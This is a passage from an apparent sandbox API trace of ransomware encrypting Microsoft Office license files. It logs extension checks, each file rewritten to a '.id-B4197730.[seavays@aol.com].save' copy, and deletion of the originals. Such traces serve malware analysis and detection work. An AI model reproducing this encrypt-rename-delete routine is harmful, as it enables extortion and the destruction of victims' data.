lpNumberOfBytesWritten=0x3bbfc94*=0x2590, lpOverlapped=0x0) returned 1 [0181.909] ReadFile (in: hFile=0x444, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0181.909] WriteFile (in: hFile=0x530, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x10e, lpOverlapped=0x0) returned 1 [0181.909] SetEndOfFile (hFile=0x530) returned 1 [0181.910] CloseHandle (hObject=0x530) returned 1 [0181.910] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.910] SetEndOfFile (hFile=0x444) returned 1 [0182.118] CloseHandle (hObject=0x444) returned 1 [0182.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0182.211] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 1 [0182.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0182.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0182.213] lstrlenW (lpString=".doc") returned 4 [0182.213] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.213] lstrlenW (lpString=".docx") returned 5 [0182.213] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.213] lstrlenW (lpString=".pdf") returned 4 [0182.213] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.213] lstrlenW (lpString=".xls") returned 4 [0182.213] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.213] lstrlenW (lpString=".xlsx") returned 5 [0182.213] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.213] lstrlenW (lpString=".ppt") returned 4 [0182.213] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0182.213] lstrlenW (lpString=".zip") returned 4 [0182.213] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.213] lstrlenW (lpString=".rar") returned 4 [0182.213] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.213] lstrlenW (lpString=".bz2") returned 4 [0182.213] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.213] lstrlenW (lpString=".7z") returned 3 [0182.213] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0182.213] lstrlenW (lpString=".dbf") returned 4 [0182.214] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0182.214] lstrlenW (lpString=".1cd") returned 4 [0182.214] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0182.214] lstrlenW (lpString=".jpg") returned 4 [0182.214] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0182.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0182.214] lstrlenW (lpString=".doc") returned 4 [0182.214] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.214] lstrlenW (lpString=".docx") returned 5 [0182.214] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.214] lstrlenW (lpString=".pdf") returned 4 [0182.214] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.214] lstrlenW (lpString=".xls") returned 4 [0182.214] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.214] lstrlenW (lpString=".xlsx") returned 5 [0182.214] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.214] lstrlenW (lpString=".ppt") returned 4 [0182.214] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0182.215] lstrlenW (lpString=".zip") returned 4 [0182.215] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.215] lstrlenW (lpString=".rar") returned 4 [0182.215] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.215] lstrlenW (lpString=".bz2") returned 4 [0182.215] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.215] lstrlenW (lpString=".7z") returned 3 [0182.215] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0182.215] lstrlenW (lpString=".dbf") returned 4 [0182.215] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0182.215] lstrlenW (lpString=".1cd") returned 4 [0182.215] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0182.215] lstrlenW (lpString=".jpg") returned 4 [0182.215] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.215] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0182.216] lstrlenW (lpString="client-issuance-stil.xrm-ms") returned 27 [0182.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.218] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=3380) returned 1 [0182.218] CloseHandle (hObject=0x36c) returned 1 [0182.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 0x220 [0182.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0182.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.219] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.219] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0182.221] GetLastError () returned 0x0 [0182.221] ReadFile (in: hFile=0x36c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0xd34, lpOverlapped=0x0) returned 1 [0182.223] WriteFile (in: hFile=0x44c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xd40, lpOverlapped=0x0) returned 1 [0182.225] ReadFile (in: hFile=0x36c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0182.225] WriteFile (in: hFile=0x44c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x10a, lpOverlapped=0x0) returned 1 [0182.225] SetEndOfFile (hFile=0x44c) returned 1 [0182.226] CloseHandle (hObject=0x44c) returned 1 [0182.226] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.226] SetEndOfFile (hFile=0x36c) returned 1 [0182.235] CloseHandle (hObject=0x36c) returned 1 [0182.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0182.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 1 [0182.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0182.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0182.238] lstrlenW (lpString=".doc") returned 4 [0182.238] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.238] lstrlenW (lpString=".docx") returned 5 [0182.238] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.238] lstrlenW (lpString=".pdf") returned 4 [0182.238] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.238] lstrlenW (lpString=".xls") returned 4 [0182.238] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.239] lstrlenW (lpString=".xlsx") returned 5 [0182.239] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.239] lstrlenW (lpString=".ppt") returned 4 [0182.239] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0182.239] lstrlenW (lpString=".zip") returned 4 [0182.239] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.239] lstrlenW (lpString=".rar") returned 4 [0182.239] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.239] lstrlenW (lpString=".bz2") returned 4 [0182.239] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.239] lstrlenW (lpString=".7z") returned 3 [0182.239] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0182.239] lstrlenW (lpString=".dbf") returned 4 [0182.239] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0182.239] lstrlenW (lpString=".1cd") returned 4 [0182.239] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0182.239] lstrlenW (lpString=".jpg") returned 4 [0182.239] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0182.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0182.240] lstrlenW (lpString=".doc") returned 4 [0182.240] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.240] lstrlenW (lpString=".docx") returned 5 [0182.240] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.240] lstrlenW (lpString=".pdf") returned 4 [0182.240] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.240] lstrlenW (lpString=".xls") returned 4 [0182.240] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.240] lstrlenW (lpString=".xlsx") returned 5 [0182.240] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.240] lstrlenW (lpString=".ppt") returned 4 [0182.240] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0182.240] lstrlenW (lpString=".zip") returned 4 [0182.240] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.240] lstrlenW (lpString=".rar") returned 4 [0182.240] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.240] lstrlenW (lpString=".bz2") returned 4 [0182.240] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.241] lstrlenW (lpString=".7z") returned 3 [0182.241] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0182.241] lstrlenW (lpString=".dbf") returned 4 [0182.241] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0182.241] lstrlenW (lpString=".1cd") returned 4 [0182.241] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0182.241] lstrlenW (lpString=".jpg") returned 4 [0182.241] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.241] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0182.241] lstrlenW (lpString="client-issuance-ul-oob.xrm-ms") returned 29 [0182.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.243] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=4392) returned 1 [0182.243] CloseHandle (hObject=0x36c) returned 1 [0182.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 0x220 [0182.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0182.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.244] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.244] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0182.246] GetLastError () returned 0x0 [0182.246] ReadFile (in: hFile=0x36c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x1128, lpOverlapped=0x0) returned 1 [0182.248] WriteFile (in: hFile=0x44c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x1130, lpOverlapped=0x0) returned 1 [0182.249] ReadFile (in: hFile=0x36c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0182.249] WriteFile (in: hFile=0x44c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x10e, lpOverlapped=0x0) returned 1 [0182.249] SetEndOfFile (hFile=0x44c) returned 1 [0182.249] CloseHandle (hObject=0x44c) returned 1 [0182.250] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.250] SetEndOfFile (hFile=0x36c) returned 1 [0182.441] CloseHandle (hObject=0x36c) returned 1 [0182.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0182.576] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 1 [0182.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0182.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0182.991] lstrlenW (lpString=".doc") returned 4 [0182.991] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.991] lstrlenW (lpString=".docx") returned 5 [0182.991] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.991] lstrlenW (lpString=".pdf") returned 4 [0182.991] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.991] lstrlenW (lpString=".xls") returned 4 [0182.991] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.991] lstrlenW (lpString=".xlsx") returned 5 [0182.991] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.991] lstrlenW (lpString=".ppt") returned 4 [0182.991] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0182.991] lstrlenW (lpString=".zip") returned 4 [0182.991] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.991] lstrlenW (lpString=".rar") returned 4 [0182.991] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.991] lstrlenW (lpString=".bz2") returned 4 [0182.991] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.992] lstrlenW (lpString=".7z") returned 3 [0182.992] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0182.992] lstrlenW (lpString=".dbf") returned 4 [0182.992] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0182.992] lstrlenW (lpString=".1cd") returned 4 [0182.992] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0182.992] lstrlenW (lpString=".jpg") returned 4 [0182.992] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.993] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11139) returned 1 [0182.993] CloseHandle (hObject=0x538) returned 1 [0182.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 0x220 [0182.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0182.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0182.994] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.994] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0182.995] GetLastError () returned 0x0 [0182.995] ReadFile (in: hFile=0x538, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2b83, lpOverlapped=0x0) returned 1 [0182.997] WriteFile (in: hFile=0x54c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2b90, lpOverlapped=0x0) returned 1 [0182.998] ReadFile (in: hFile=0x538, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0182.998] WriteFile (in: hFile=0x54c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x100, lpOverlapped=0x0) returned 1 [0182.998] SetEndOfFile (hFile=0x54c) returned 1 [0182.998] CloseHandle (hObject=0x54c) returned 1 [0182.998] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.998] SetEndOfFile (hFile=0x538) returned 1 [0183.002] CloseHandle (hObject=0x538) returned 1 [0183.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.002] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 1 [0183.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0183.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0183.004] lstrlenW (lpString=".doc") returned 4 [0183.004] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.004] lstrlenW (lpString=".docx") returned 5 [0183.004] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.004] lstrlenW (lpString=".pdf") returned 4 [0183.004] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.004] lstrlenW (lpString=".xls") returned 4 [0183.004] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.004] lstrlenW (lpString=".xlsx") returned 5 [0183.004] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.004] lstrlenW (lpString=".ppt") returned 4 [0183.004] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0183.004] lstrlenW (lpString=".zip") returned 4 [0183.004] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.004] lstrlenW (lpString=".rar") returned 4 [0183.004] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.004] lstrlenW (lpString=".bz2") returned 4 [0183.005] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.005] lstrlenW (lpString=".7z") returned 3 [0183.005] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.005] lstrlenW (lpString="C:\\Program Files\\Microsoft 